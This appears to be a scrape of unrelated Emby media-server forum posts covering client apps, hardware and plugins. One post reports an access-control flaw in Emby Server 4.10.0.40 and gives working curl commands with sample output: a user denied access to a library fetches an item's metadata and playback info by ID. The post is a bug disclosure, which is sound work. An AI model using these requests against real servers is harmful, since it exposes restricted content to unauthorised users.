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Just to clarify - the option to show or not show in tv mode only works just fine.

Are all your Users able to Direct Play all your media files ? No transcoding needed ? I know getting a gpu in a 2U case can be a pain …. I build myself a new Emby server in 12/25 and went with: Intel(R) Core(TM) Ultra 5 225F 32GB RAM 500GB NVME for Fedora 1TB NVME vor transcode cache ARC 580 GPU This way I was able to reencode all H264 files to AV1, on the same machine, while parallel emby and some dockers are running. And everytime I forget to set the Diagnostic Options, after reboot, I see the CPU is hardly handling one AV1 transcode.

Sure thing, i will send you a DM

I mostly use Roku, but I finally watched a movie on the 'new' Emby android app (hisense 4k tv w/android 14) and thought I'd comment. First, I think it's great that Emby is making both old and new android clients available to users. When Plex began their 'new experience' GUI and started the war (never have I seen such anger in forum threads), some plex users asked for the old client to be made available unmaintained at least for a while, but it didn't happen. Emby seems to not just be doing that, but even apparently making some minor updates to the old client - I think this is a better approach and Emby should be commended for doing so. I didn't have any issues watching a movie on the android client. It played fine, looked good, and (remote) navigation was normal. I also think the appearance of the android app is pretty good. Because of plex issues and an intensive jellyfin trial I did, I've probably used at least a dozen client GUIs in recent months - I'd say the Emby android app is probably up there with the best of them looks-wise. Also, the 3-dots/ellipsis button having access to metadata/image editing and other things usually done in the server web interface is really cool (I think only plex is barely starting to do this with some of their preview/beta apps). I'm not trying to say the new android client is perfect. For instance, I can only see 12 movies on my 'newly added' row, which is incredibly short (I thought I had misconfigured something, but found no setting). As someone very dependent on the newly-added list for watching, that would probably be too short for me to use this as my primary client. But I guess that's why the old client is available huh. Regardless, it seems like the new android client is moving in a good direction....and of course all this is mostly personal preference and that's just mine.

Does not work for Web (not used on TV) and Android on Smartphone because TV layout is not enabled and this modi rely to the same setting (show with disabled TV mode). But thanks anyways.

Looks nothing like that .... I am not altering the firestick setting as ever other app works fine including "Emby for Fire TV" so the problem is with the other "Emby" app. So I will continue to use "Emby for Fire TV" or Plex or VLC when watching movies with a DTS audio track when using my Fire Stick. Thanks for your efforts anyway.

All good!

Hi. You can have it show only on TV layouts.

Emby Server Version: 4.10.0.40 Emby doesn't enforce library ACLs on direct-by-ID lookup. I have a user named "deleteme2" that doesn't have access to my Movies library, yet this user can query items in the Movies library just fine. Here's how to replicate it in Linux through CLI: # leading space keeps this out of shell history if HISTCONTROL=ignorespace/ignoreboth is set # Set the Emby URL, and username/password of user that doesn't have access to the library item EMBY_URL="http://emby.url" DENIED_USERNAME="deleteme2" DENIED_PASSWORD="password" # Get a real access token from the user curl -s -X POST "${EMBY_URL}/Users/AuthenticateByName" \ -H 'Content-Type: application/json' \ -H 'X-Emby-Authorization: Emby Client="curl-test", Device="curl", DeviceId="curl-test-device", Version="1.0.0"' \ -d "{\"Username\":\"${DENIED_USERNAME}\",\"Pw\":\"${DENIED_PASSWORD}\"}" | tee /tmp/auth.json | jq . DENIED_TOKEN=$(jq -r '.AccessToken' /tmp/auth.json) DENIED_USER_ID=$(jq -r '.User.Id' /tmp/auth.json) # Set the ITEM_ID of the media item in a library the user doesn't have access to ITEM_ID="1234567" # Get metadata related to the item curl -s -o /tmp/getitem.json -w '\nHTTP %{http_code}\n' \ "${EMBY_URL}/Users/${DENIED_USER_ID}/Items/${ITEM_ID}?Fields=SeriesName" \ -H "X-Emby-Token: ${DENIED_TOKEN}" cat /tmp/getitem.json | jq ######################################### ### ### EXAMPLE OUTOUT ### HTTP 200 { "Name": "Family Guy Presents: Blue Harvest", "OriginalTitle": "Family Guy Presents: Blue Harvest", "ServerId": "REDACTED", "Id": "1234567", <...snip...> We can go further and start a stream in the library that we shouldn't have access to: curl -s -o /tmp/playbackinfo.json -w '\nHTTP %{http_code}\n' \ -X POST "${EMBY_URL}/Items/${ITEM_ID}/PlaybackInfo" \ -H "X-Emby-Token: ${DENIED_TOKEN}" \ -H 'Content-Type: application/json' \ -d @- <<EOF { "UserId": "${DENIED_USER_ID}", "DeviceProfile": { "MaxStreamingBitrate": 120000000, "DirectPlayProfiles": [ {"Container": "mp4,m4v", "Type": "Video", "VideoCodec": "h264,vp9,av1", "AudioCodec": "aac,mp3,opus,flac"} ], "TranscodingProfiles": [ {"Container": "ts", "Type": "Video", "VideoCodec": "h264", "AudioCodec": "aac", "Protocol": "hls", "Context": "Streaming"} ] }, "AutoOpenLiveStream": false, "StartTimeTicks": 0, "EnableDirectPlay": true, "EnableDirectStream": true, "EnableTranscoding": true, "AllowVideoStreamCopy": true, "AllowAudioStreamCopy": true } EOF cat /tmp/playbackinfo.json | jq . ######################################### ### ### EXAMPLE OUTOUT ### HTTP 200 { "MediaSources": [ { "Chapters": [ { "StartPositionTicks": 0, "Name": "Chapter 01", "ImageTag": "b2f1fb884f03d1be088b4842ca0f34c7_0", "MarkerType": "Chapter", "ChapterIndex": 0 }, <...snip...> ], "Protocol": "File", "Id": "mediasource_1234567", "Path": "/media/movies/Family Guy Presents Blue Harvest (2008) [imdb-tt0888817]/Family Guy Presents Blue Harvest (2007) [Bluray-1080p][AC3 5.1][x264].mp4", "Type": "Default", <...snip...> "TranscodingUrl": "/videos/1234567/master.m3u8?DeviceId=curl-test-device&MediaSourceId=mediasource_1234567&PlaySessionId=REDACTED&api_key=REDACTED&VideoCodec=h264&AudioCodec=aac&VideoBitrate=119360000&AudioBitrate=640000&AudioStreamIndex=1&SegmentContainer=ts&BreakOnNonKeyFrames=False&TranscodeReasons=AudioCodecNotSupported", "TranscodingSubProtocol": "hls", "TranscodingContainer": "ts", "ReadAtNativeFramerate": false, "DefaultAudioStreamIndex": 1, "ItemId": "1234567", "MimeType": "video/mp4", "TranscodingMimeType": "video/mp2t" } ], "PlaySessionId": "REDACTED" } embyserver(6).txt

Here's what it looks like on the Shield but the Fire may not have this level of control:

I've been buried in work and got a few minutes today to drop by. Would this change be in 4.10.0.40?

Your spotlight feature is awesome but tbh. i don't really want to maintain another plugin as i have a lot on my hands already. I will look into getting this to work again in case it doesn't any more but after that it's low priority (sorry!!).

What options did it give you in the advanced audio? Can you show a screenshot?

Feel free, you specially can take any code that you want if you'd like to release something like this as plugin.

I made some changes to it after that that i would like to keep and never handed over. But nice to know, if i don't find it then the one in the PM can be used as backup.

It's in our PMs.

Hi, thanks for following up.

I think most users would not want to have to configure this for every single device.

Also Emby Samsung TV app works and Emby for Windows works

I believe we talked about this before and i edited a plugin of mine to actually do that and even change settings for the spotlight. Will see if i can find the code somewhere (no promises).

@rbjtech But why are you still using the Shield with its outdated Android 9 if it’s of no use? Surely there’s no reason not to upgrade to the improved SHIELD Experience 9.2.4, which now comes with a whole host of improvements?

I keep the code on GH quite actual with the stable server releases when I have time. I've seen so much cool plugin implementations including altering system files via plugin. But atm I've absolutely no time to dive into this rabbit hole due to work and family. Long story short, I would love to see my Spotlight script integrated into some kind of plugin solution so no one needs to edit index.html and insert the js file manually. So if you and/or @ginjaninja @Blueskies278would make this possible anytime, you would be more than welcome.

Thanks for the reply. Not really too worried about it. It either works or it doesn't and if it is doesn't then I will deal with that if it happens. Cheers

It will actually be pretty ok. The newer versions of Windows do detect hardware changes before booting into the main OS and will load the required drivers. If OP is really worried, they could attempt to load into safe mode and remove all hardware. In my experience, it's no longer the headache it once was to do a system transplant. I've swapped out many older machines with very little headaches. The largest change was from a Haswell system to a Ryzen 7 5800G.

I haven't checked but, the one just added to Emby sadly looks like it just uses the background picture for videos. If it used it's own i could get EmbyIcons to edit it rather easy but using the background one makes it so it would drawn on that as well. Still like the feature.